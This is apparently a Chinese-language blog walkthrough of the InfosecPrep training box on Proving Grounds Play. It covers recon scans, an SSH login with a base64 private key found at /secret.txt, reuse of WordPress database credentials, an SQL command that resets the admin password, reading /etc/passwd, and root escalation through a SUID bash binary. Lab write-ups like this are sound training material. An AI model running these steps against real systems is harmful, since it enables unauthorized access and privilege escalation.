Proving Grounds Play : InfosecPrep Walkthrough
Proving Grounds Play : InfosecPrep Walkthrough
Foothold :
- 網站可以發現一個使用者名稱 oscp
- /robots.txt 透漏 /secret.txt 不要存取，那就一定要存取
- 存取後拿到 base64 encode 的 Private Key
- Base64 Decode 後修改權限直接 ssh 進去
PE :
- SUID 發現 bash，參考 GTFO 成功提權
第一步 Rustscan，└─$ rustscan -a 192.168.235.89 --scripts none --ulimit 5000 | tee rustscan
snmp check
nmap
whatweb
curl -s -X GET 'http://192.168.235.89/' | grep plugins | awk '{print $2}' | awk '{print $6}' FS='/' | sort -u
沒有看到東西
wpscan --url http://192.168.235.89 -e vp --plugins-detection mixed --api-token <API Token>
沒掃到啥東西
80 /
80 /robots.txt
80 /secret.txt
看來是個 Private Key
base64 decode
測試看看 ssh -i id_rsa oscp@192.168.235.89
進去了
local.txt
有個檔案叫做 ip 權限是 root，但現有使用者可以執行
看了邏輯後暫時沒發現可以利用的點
/var/www/html 底下的 wp-config.php 裡面有 DB 連線資訊 wordpress:Oscp12345!
netstat -antlp 有跑 3306 MySQL，下載 chisel 搭建通道回 kali
進入 MySQL
獲取 admin 密碼的 HASH
將 admin 的密碼改成 admin
MySQL [wordpress]> update wp_users set user_pass=md5('admin') where user_login='admin';
wp-admin 登入，看來沒問題
上傳 plug-in 結果 GG
檢查佈景主題，也沒有權限可以 update.........這真的是 admin 嗎
改回到 linux 枚舉看看
cat /etc/passwd
cat /etc/crontab
pspy64 每分鐘都在執行，但一樣沒有看到可以利用的點
SUID check，第一次看到可以直接用 bash 的 SUID
參考 GTFO
直接利用就 root 了，順便拿 proof.txt
補充說明 :
id_rsa 拿掉開頭的 "-----BEGIN OPENSSH PRIVATE KEY-----"
與結尾的 "-----END OPENSSH PRIVATE KEY-----"
結果如下
base64 再進行一次 decode 可以看到使用者
留言
張貼留言